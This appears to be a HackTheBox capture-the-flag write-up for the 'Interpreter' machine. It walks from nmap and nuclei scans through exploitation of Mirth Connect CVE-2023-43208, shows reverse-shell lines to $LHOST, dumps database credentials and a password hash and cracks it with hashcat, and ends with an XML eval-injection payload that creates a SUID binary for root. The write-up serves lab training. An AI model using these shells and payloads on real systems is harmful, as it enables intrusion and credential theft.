Interpreter Writeup - HackTheBox
Last updated July 14, 2026 • 8 min read
Discovery
First we start a full NMAP scan on the target:
[+] Discovering all open TCP ports... Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:10 +0100 Nmap scan report for $TARGET_IP Host is up (0.016s latency). Not shown: 62840 closed tcp ports (reset), 2691 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 6661/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 12.99 seconds [+] Parsing open TCP ports... [+] Running scripts & versions on TCP ports: 22,80,443,6661 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:10 +0100 Nmap scan report for $TARGET_IP Host is up (0.015s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA) |_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519) 80/tcp open http Jetty | http-methods: |_ Potentially risky methods: TRACE |_http-title: Mirth Connect Administrator 443/tcp open ssl/http Jetty |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mirth-connect | Not valid before: 2025-09-19T12:50:05 |_Not valid after: 2075-09-19T12:50:05 |_http-title: Mirth Connect Administrator | http-methods: |_ Potentially risky methods: TRACE 6661/tcp open unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 187.10 seconds
There is a open port 80 so lets run Nuclei on it to check for quick details
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.7.0
projectdiscovery.io
[INF] Current nuclei version: v3.7.0 (latest)
[INF] Current nuclei-templates version: v10.3.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 9810
[INF] Executing 9808 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 2 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2237 (Reduced 2113 Requests)
[INF] Using Interactsh Server: oast.site
[ssh-auth-methods] [javascript] [info] $TARGET_IP:22 ["["publickey","password"]"]
[ssh-sha1-hmac-algo] [javascript] [info] $TARGET_IP:22
[ssh-server-enumeration] [javascript] [info] $TARGET_IP:22 ["SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7"]
[ssh-password-auth] [javascript] [info] $TARGET_IP:22
[openssh-detect] [tcp] [info] $TARGET_IP:22 ["SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7"]
[mirth-connect-detect] [http] [info] http://$TARGET_IP
[options-method] [http] [info] http://$TARGET_IP ["GET, HEAD, TRACE, OPTIONS"]
[INF] Skipped $TARGET_IP:4040 from target list as found unresponsive permanently: cause="port closed or filtered" address=$TARGET_IP:4040 chain="connection refused; got err while executing https://$TARGET_IP:4040/jobs/?\"'><script>alert(document.domain)</script>"
[tech-detect:bootstrap] [http] [info] http://$TARGET_IP
[old-copyright] [http] [info] http://$TARGET_IP ["© 2023"]
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:strict-transport-security] [http] [info] http://$TARGET_IP
[http-missing-security-headers:permissions-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:x-frame-options] [http] [info] http://$TARGET_IP
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://$TARGET_IP
[http-missing-security-headers:referrer-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:clear-site-data] [http] [info] http://$TARGET_IP
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:content-security-policy] [http] [info] http://$TARGET_IP
[http-missing-security-headers:x-content-type-options] [http] [info] http://$TARGET_IP
[INF] Scan completed in 2m. 20 matches found.
This reveals:
[mirth-connect-detect] [http] [info] http://10.129.1.90
Exploitation of Mirth Connect
It shows us the website running is using Mirth Connect which with a quick Google Search reveals us it has a vulnerability CVE-2023-43208.
We can use this exploit as following:
[+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )
[*] Setting up listener on $LHOST:$LPORT and launching exploit...
Exception in thread Thread-1 (start_listener):
Traceback (most recent call last):
File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 1016, in _bootstrap_inner
self.run()
File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 953, in run
self._target(*self._args, **self._kwargs)
File "/tmp/CVE-2023-43208-EXPLOIT/CVE-2023-43208.py", line 55, in start_listener
with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener:
File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/socket.py", line 939, in create_server
raise error(err.errno, msg) from None
OSError: [Errno 98] Address already in use (while attempting to bind on address ('0.0.0.0', $LPORT))
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://$TARGET
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/$LHOST/$LPORT;sh <&53 >&53 2>&53'
[*] Launching exploit against https://$TARGET...
Returning in our NC listener
[LINUX] /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 [LINUX] busybox nc $LHOST $LPORT -e /bin/bash listening on [$LHOST] $LPORT ... connect to [$TARGET_IP] from (UNKNOWN) [10.129.1.90] 52788
Now that we have our initial access to the target we can do some internal enumeration. Checking online documentation of Mirth Connect shows us the paths of some useful config files like:
mirth.properties
Viewing this file reveals us some useful information like:
database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
which we can use to exfiltrate users from the database like:
ID USERNAME FIRSTNAME LASTNAME ORGANIZATION INDUSTRY EMAIL PHONENUMBER DESCRIPTION LAST_LOGIN GRACE_PERIOD_START STRIKE_COUNT LAST_STRIKE_TIME LOGGED_IN ROLE COUNTRY STATETERRITORY USERCONSENT 2 sedric NULL 2025-09-21 17:56:02 NULL 0 NULL \0 NULL United States NULL 0
PERSON_ID PASSWORD PASSWORD_DATE 2 u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== 2025-09-19 09:22:28
Cracking the Mirth Connect hash and gain user access
HashID and hashcat can't find any matching hash for "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==", making me read the Mirth Connect documentation even more.
I stumble across this blog post https://docs.nextgen.com/en-US/mirthc2ae-connect-by-nextgen-healthcare-user-guide-3281761/default-digest-algorithm-in-mirthc2ae-connect-4-4-62159
talking about the hashing algorithm and iteration count which are very important for hashcat.
When I look at the hashcat examples on https://hashcat.net/wiki/doku.php?id=example_hashes
and search for "PBKDF2-HMAC-SHA256" we get the following example with hashcat mode:
10900 | PBKDF2-HMAC-SHA256 | sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt |
So we need to fill in the example "sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt" with our own values.
Creating the hash format
To begin with know the first part already which is "sha256:600000". Now we need the salt and key which are not directly found in our database hash. When I check the base64 decoded size of the hash it shows us:
40
Since we know SHA256 has 32 bytes and the salt is 8 bytes (https://github.com/nextgenhealthcare/connect/issues/5665) it matches the base64 decoded amount of 40.
When we take these bytes and make them base64 again we have all the parts of the hashcat example.
00000000: bbff 8b04 1394 9da7 62c8 506c 30ea 080c ........b.Pl0... 00000010: f2db 511d 2b93 9f64 1243 d4d7 b8ad 76b5 ..Q.+..d.C....v. 00000020: 5603 f90b 32dd f0fb V...2...
u/+LBBOUnac=
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
Our final hashcat hash
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
Cracking the hash
Now we can finally crack the hash with hashcat like:
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-AMD Ryzen 5 5500U with Radeon Graphics, 4908/9817 MB (2048 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 515 MB (3829 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Sat Feb 21 21:05:53 2026 (2 mins, 8 secs)
Time.Estimated...: Sat Feb 21 21:08:01 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 90 H/s (108.21ms) @ Accel:482 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11568/14344385 (0.08%)
Rejected.........: 0/11568 (0.00%)
Restore.Point....: 5784/14344385 (0.04%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-599999
Candidate.Engine.: Device Generator
Candidates.#01...: sexything -> fernandita
Hardware.Mon.#01.: Temp: 75c Util: 98%
Started: Sat Feb 21 21:05:51 2026
Stopped: Sat Feb 21 21:08:03 2026
So we know user sedric hash password snowflake1
Getting user access
We can use our new found credentials with SSH and get the first user flag like:
Warning: Permanently added '$TARGET_IP' (ED25519) to the list of known hosts. sedric@$TARGET_IP's password: Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Feb 21 15:08:48 2026 from 10.10.14.127 sedric@interpreter:~$ ls user.txt sedric@interpreter:~$ cat user.txt [HIDDEN]
Privilege Escalation
Now its time for privilege escalation. We start by checking processes if there are any root processes running which we potentially can use to get root:
root 3560 0.0 0.7 39872 31784 ? Ss 14:05 0:00 /usr/bin/python3 /usr/local/bin/notif.py
Lets check the source code of this script
...
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification
...
First thing I notice is the "return eval(f"f'''{template}'''")" part which executes Python code as the user running the process (root). The goal is to make a malicious XML file which doesn't trigger the regex "re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")".
Check legit XML file
I first start with a legitimate XML file:
<patient>
<firstname>John</firstname>
<lastname>Doe</lastname>
<sender_app>A</sender_app>
<timestamp>B</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>
Create malicious XML file
Which works. Now Ill make a malicious XML where the firstname field contains a Python snippet to execute "cp /usr/bin/python3 /tmp/p && chmod 4755 /tmp/p", which will copy the python3 executable to the /tmp folder with a SUID bit, so we can execute this as root.
<patient>
<firstname>{__import__("os").system(__import__("base64").b64decode("Y3AgL3Vzci9iaW4vcHl0aG9uMyAvdG1wL3AgJiYgY2htb2QgNDc1NSAvdG1wL3A=").decode())}</firstname>
<lastname>Doe</lastname>
<sender_app>A</sender_app>
<timestamp>B</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>
--2026-02-21 16:04:04-- http://127.0.0.1:54321/addPatient Connecting to 127.0.0.1:54321... connected. HTTP request sent, awaiting response... HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.11.2 Date: Sat, 21 Feb 2026 21:04:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 53 Connection: close Length: 53 [text/html] Saving to: 'STDOUT' 2026-02-21 16:04:04 (5.36 MB/s) - written to stdout [53/53]
Now that our XML file has been successfully sent to the webserver we need to check if the exploit has been executed.
total 7984 drwxrwxrwt 11 root root 4096 Feb 21 16:04 ./ drwxr-xr-x 19 root root 4096 Feb 16 15:42 ../ drwxrwxrwt 2 root root 4096 Feb 21 14:05 .ICE-unix/ drwxrwxrwt 2 root root 4096 Feb 21 14:05 .X11-unix/ drwxrwxrwt 2 root root 4096 Feb 21 14:05 .XIM-unix/ drwxrwxrwt 2 root root 4096 Feb 21 14:05 .font-unix/ -rw-r--r-- 1 sedric sedric 56 Feb 21 15:29 addPatient -rw-r--r-- 1 sedric sedric 55 Feb 21 15:31 addPatient.1 -rw-r--r-- 1 sedric sedric 55 Feb 21 15:31 addPatient.2 -rw-r--r-- 1 sedric sedric 15 Feb 21 15:33 addPatient.3 -rwsr-xr-x 1 root root 1265648 Feb 21 16:02 bash -rw-r--r-- 1 sedric sedric 323 Feb 21 16:04 exploit.xml drwxr-xr-x 2 mirth mirth 4096 Feb 21 14:05 hsperfdata_mirth/ -rw-r--r-- 1 mirth mirth 5 Feb 21 14:05 i4jdaemon__usr_local_mirthconnect_mcservice -rw-rw-r-- 1 mirth mirth 118 Feb 21 14:05 install4j_jre_version_mirth -rw-r--r-- 1 sedric sedric 193 Feb 21 15:29 legit.xml -rwsr-xr-x 1 root root 6831736 Feb 21 16:04 p drwx------ 3 root root 4096 Feb 21 14:05 systemd-private-5086c52768cd4b55a356b70a9b2b553c-systemd-logind.service-sc0cah/ drwx------ 3 root root 4096 Feb 21 14:05 systemd-private-5086c52768cd4b55a356b70a9b2b553c-systemd-timesyncd.service-nsfl7R/ drwx------ 2 root root 4096 Feb 21 14:05 vmware-root/ drwx------ 2 root root 4096 Feb 21 14:05 vmware-root_3389-4248154114/
# whoami root # cat /root/root.txt [HIDDEN]